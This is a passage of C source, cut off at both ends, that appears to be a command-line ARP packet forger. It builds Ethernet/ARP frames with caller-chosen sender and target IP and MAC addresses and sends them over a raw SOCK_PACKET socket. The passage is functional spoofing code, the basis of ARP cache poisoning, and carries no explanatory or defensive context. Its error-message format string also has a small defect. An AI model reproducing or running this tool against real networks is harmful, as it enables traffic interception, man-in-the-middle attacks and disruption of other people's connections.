        u_char targ_hw_addr[ETH_HW_ADDR_LEN];

        u_char src_hw_addr[ETH_HW_ADDR_LEN];

        u_short frame_type;

        u_short hw_type;

        u_short prot_type;

        u_char hw_addr_size;

        u_char prot_addr_size;

        u_short op;

        u_char sndr_hw_addr[ETH_HW_ADDR_LEN];

        u_char sndr_ip_addr[IP_ADDR_LEN];

        u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];

        u_char rcpt_ip_addr[IP_ADDR_LEN];

        u_char padding[18];

};



void die(char *);

void get_ip_addr(struct in_addr*,char*);

void get_hw_addr(char*,char*);



int main(int argc,char** argv){



struct in_addr src_in_addr,targ_in_addr;

struct arp_packet pkt;

struct sockaddr sa;

int sock;



if(argc != 5)die(usage);



sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));

if(sock<0){

        perror("socket");

        exit(1);

        }



pkt.frame_type = htons(ARP_FRAME_TYPE);

pkt.hw_type = htons(ETHER_HW_TYPE);

pkt.prot_type = htons(IP_PROTO_TYPE);

pkt.hw_addr_size = ETH_HW_ADDR_LEN;

pkt.prot_addr_size = IP_ADDR_LEN;

pkt.op=htons(OP_ARP_REQUEST);



get_hw_addr(pkt.targ_hw_addr,argv[4]);

get_hw_addr(pkt.rcpt_hw_addr,argv[4]);

get_hw_addr(pkt.src_hw_addr,argv[2]);

get_hw_addr(pkt.sndr_hw_addr,argv[2]);



get_ip_addr(&src_in_addr,argv[1]);

get_ip_addr(&targ_in_addr,argv[3]);



memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);

memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);



bzero(pkt.padding,18);



strcpy(sa.sa_data,DEFAULT_DEVICE);

if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){

        perror("sendto");

        exit(1);

        }

exit(0);

}



void die(char* str){

fprintf(stderr,"%sn",str);

exit(1);

}



void get_ip_addr(struct in_addr* in_addr,char* str){



struct hostent *hostp;



in_addr->s_addr=inet_addr(str);

if(in_addr->s_addr == -1){

        if( (hostp = gethostbyna